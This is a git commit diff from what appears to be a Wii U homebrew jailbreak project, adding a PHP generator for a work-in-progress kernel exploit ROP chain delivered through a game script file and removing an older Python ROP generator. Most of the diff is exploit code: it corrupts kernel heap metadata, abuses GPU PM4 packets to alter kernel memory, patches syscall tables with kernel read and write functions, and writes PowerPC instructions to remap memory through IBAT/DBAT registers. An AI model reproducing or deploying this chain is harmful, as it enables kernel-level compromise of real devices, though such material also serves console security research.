- Use wiiuhaxx_common for creating a ROP
- Add WIP kernel exploit ROP
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orboditilt
parent
702d638426
commit
e3ef554d6d
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@ -1 +1,2 @@
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*.swp
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wiiuhaxx_common/
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@ -9,6 +9,8 @@ Required:
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* Python 3.6 or greater in path as python3 (Edit Makefile for other configs)
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* make
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* php
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* A copy of the [wiiuhaxx_common release files (>=0.3](https://github.com/wiiu-env/wiiuhaxx_common/releases) inside a folder `wiiuhaxx_common.`
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```
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git clone --recurse-submodules https://github.com/jam1garner/ROBChain.git && \
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@ -1,14 +1,26 @@
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wiiuhaxx_common_path := ../wiiuhaxx_common/wiiu_browserhax_common.php
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wiiuhaxx_common_cfg := wiiuhaxx_common_cfg.php
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pymsc_asm_py := ../pymsc/asm.py
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all: clean exploit.mscsb
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clean:
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rm -f exploit.mscsb payload.s main.s
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exploit.mscsb: payload.s Scripts main.s
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python3 ../pymsc/asm.py
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exploit.mscsb: $(pymsc_asm_py) payload.s Scripts main.s
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python ../pymsc/asm.py
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payload.s: payload.bin
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python3 generate_payload.py
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payload.s: payload.bin
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python generate_payload.py
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main.s: rop_setup.s
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python3 generate_rop.py
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main.s: rop_setup.s $(wiiuhaxx_common_cfg) $(wiiuhaxx_common_path)
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php generatepayload.php > main.s
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$(pymsc_asm_py):
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if [ -a $(pymsc_asm_py) ]; then $(error missing $(pymsc_asm_py) (git clone recursive)); fi;
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$(wiiuhaxx_common_path):
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if [ -a $(wiiuhaxx_common_path) ]; then $(error missing $(wiiuhaxx_common_path)); fi;
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$(wiiuhaxx_common_cfg):
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if [ -a $(wiiuhaxx_common_cfg) ]; then $(error missing $(wiiuhaxx_common_cfg)); fi;
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@ -1,74 +0,0 @@
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# Addresses
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LOAD_R3_ADDR = 0x0C00C650
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OSFATAL_ADDR = 0x01031618
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def write32(u32):
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global script
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script += f"pushInt. {hex(u32)}\n"
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def writePayloadAddress():
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global script
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script += "pushVar. globalVar,mscScriptAddress\n"
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def writeEnd():
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global script
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script += "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend"
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"""
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Example payload (writeOSFatalPayload func)
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pushInt. 0xC00C650
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pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
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pushInt. 0xBEEF0001
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pushInt. 0xBEEF0002
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pushInt. 0xBEEF0003
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pushInt. 0xBEEF0004
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pushInt. 0xBEEF0005
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pushInt. 0xBEEF0006
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pushInt. 0xBEEF0007
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pushInt. 0xBEEF0008
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pushInt. 0xBEEF0009
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pushInt. 0xBEEF000A
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pushInt. 0xBEEF000B
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pushInt. 0xBEEF000C
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pushInt. 0xBEEF000D
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pushInt. 0xBEEF000E
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pushInt. 0xBEEF000F
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pushInt. 0xBEEF0010
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pushInt. 0xBEEF0011
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pushInt. 0xBEEF0012
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pushInt. 0xBEEF0013
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pushInt. 0xBEEF0014
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pushInt. 0xBEEF0015
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pushInt. 0xBEEF0016
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pushInt. 0xBEEF0017
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pushInt. 0xBEEF0018
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pushInt. 0xBEEF0019
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pushInt. 0xBEEF001A
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pushInt. 0x01031618 #return address (OSFatal)
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"""
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# Print out contents of payload as null terminated string
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def writeOSFatalPayload():
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write32(LOAD_R3_ADDR)
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writePayloadAddress()
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for i in range(0x1A):
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write32(0xBEEF0000 + i + 1)
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write32(OSFATAL_ADDR)
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writeEnd()
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def main():
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global script
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with open('rop_setup.s', 'r') as f:
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script = f.read()
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writeOSFatalPayload()
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with open("main.s", 'w') as f:
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f.write(script)
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if __name__ == "__main__":
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main()
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@ -0,0 +1,174 @@
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<?php
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function hexentities($str) {
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$return = '';
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for($i = 0; $i < strlen($str); $i += 4) {
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$return .= 'pushInt. 0x'.bin2hex(substr($str, $i, 4)). "\n";
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}
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return $return;
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}
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// Settings
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$_REQUEST['sysver'] = '550'; // Currently hardcoded.
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$generatebinrop = 1; // Make sure the $ROPCHAIN will be in binary.
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// Type 4 params
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$payload_tmp_address = 0x10C51000;
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$ROPHEAP = $payload_tmp_address - 0x1000; //+ is a BAD idea as is may override our payload
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$ropchainselect = 99; // Own ROPChain.
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require_once("../wiiuhaxx_common/wiiu_browserhax_common.php");
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echo file_get_contents('rop_setup.s');
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//Untested
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function generateROPChain(){
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$drvhax_addr = 0x105F31A4; // Some free space in memmory size: 0x4C
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$KERN_SYSCALL_TBL_1 = 0xFFE84C70;
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$KERN_SYSCALL_TBL_2 = 0xFFE85070;
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$KERN_SYSCALL_TBL_3 = 0xFFE85470;
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$KERN_SYSCALL_TBL_4 = 0xFFEAAA60;
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$KERN_SYSCALL_TBL_5 = 0xFFEAAE60;
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$metadata_addr = 0x1F200014; // Create kernel heap block. We manipulate the kernel heap to use THIS
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// Set the kernel heap metadata entry
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ropgen_writeword_tomem($drvhax_addr, $metadata_addr);
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ropgen_writeword_tomem(0xFFFFFFB4, $metadata_addr +4);
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ropgen_writeword_tomem(0xFFFFFFFF, $metadata_addr +8);
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ropgen_writeword_tomem(0xFFFFFFFF, $metadata_addr +12);
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//Build PM4 packet.
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$pm4_addr = 0x10C51000;
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ropgen_writeword_tomem(0xC0013900, $pm4_addr); $pm4_addr += 4; //PACKET3_MEM_SEMAPHORE
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ropgen_writeword_tomem(0x1B800008, $pm4_addr); $pm4_addr += 4; //ADDR_LO = target
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ropgen_writeword_tomem(0xC0000000, $pm4_addr); $pm4_addr += 4; //SEL semaphore signal
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
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ropgen_DCFlushRange($pm4_addr, 0x20);
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// Need to be called from the right core (we gx2 init was called, core1?)
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ropgen_GX2DirectCallDisplayList($pm4_addr, 8 * 0x04); // increment value of kpaddr by 0x01000000
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ropgen_GX2DirectCallDisplayList($pm4_addr, 8 * 0x04); // increment value of kpaddr by 0x01000000
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ropgen_GX2Flush();
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ropgen_display_u32(0);
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$drvname_addr = 0x105DC1D8;
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// create a string "drvhax" in memoyr
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ropgen_writeword_tomem(0x44525648 , $drvname_addr);
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ropgen_writeword_tomem(0x41580000, $drvname_addr +4);
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//register it
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ropgen_Register($drvname_addr, 6, 0, 0);
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// create src buffer
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$syscalls_addr = 0x105DC1E0;
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ropgen_writeword_tomem(0xFFF023D4 , $syscalls_addr); // KERN_CODE_READ
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ropgen_writeword_tomem(0xFFF023F4 , $syscalls_addr + 0x4); // KERN_CODE_WRITE
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// Copy content of syscalls_addr to syscall tables
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_1 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_2 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_3 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_4 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_5 + (0x34 * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
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// Place a function to set the IBAT0 inside free kernel space.
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$setIBAT0Addr = 0xFFF02344;
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$curAddr = $setIBAT0Addr;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C0006AC,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x4C00012C,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C7083A6,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C9183A6,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C0006AC,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x4C00012C,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x4E800020,$syscalls_addr);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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//Save address in src buffer
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ropgen_writeword_tomem($setIBAT0Addr,$syscalls_addr);
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// setup syscall table, register it as syscall 0x7A. needs to be restored later
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ropgen_writeword_tomem($KERN_SYSCALL_TBL_2 + (0x7A * 4),$drvhax_addr + 0x44);
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 4);
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$ROP_callSC0x7A = 0x01022388; // Set exception callback. Calls syscall 0x7A
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// Rop for calling syscall, set IBAT0
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// We need to give the access to our memory.
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// VA: 01000000..01800000 PA: 32000000..32800000 with r/w for user and supervisor
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ropgen_callfunc($ROP_callSC0x7A, 0x010000FF, 0x32000012, 0x0, 0x0, 0x0);
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// Setup DBAT
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//reuse ibat code, but exchange the ibat to dbat commands
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$curAddr = $setIBAT0Addr + 8;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C7983A6,$syscalls_addr); //mtdbatl,3,5
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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$curAddr +=4;
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ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
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ropgen_writeword_tomem(0x7C7883A6,$syscalls_addr); //mtdbath,3,5
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ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
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// set dbat
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ropgen_callfunc($ROP_callSC0x7A, 0x010000FF, 0x32000012, 0x0, 0x0, 0x0);
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// print value to see if everything worked so far.
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ropgen_display_u32(0);
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// Copy a payload to 0x011DD000, call it!
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// Tasks in payload:
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// - install kernel copy data
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// - restore syscall 0x7A
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// - restore kernel heap when we have proper code execution.
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// - (install main hook and switch to miimaker)
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}
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generateROPChain();
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echo hexentities($ROPCHAIN);
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?>
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@ -0,0 +1,5 @@
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<?php
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$wiiuhaxxcfg_payloadfilepath = "payload.bin";
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?>
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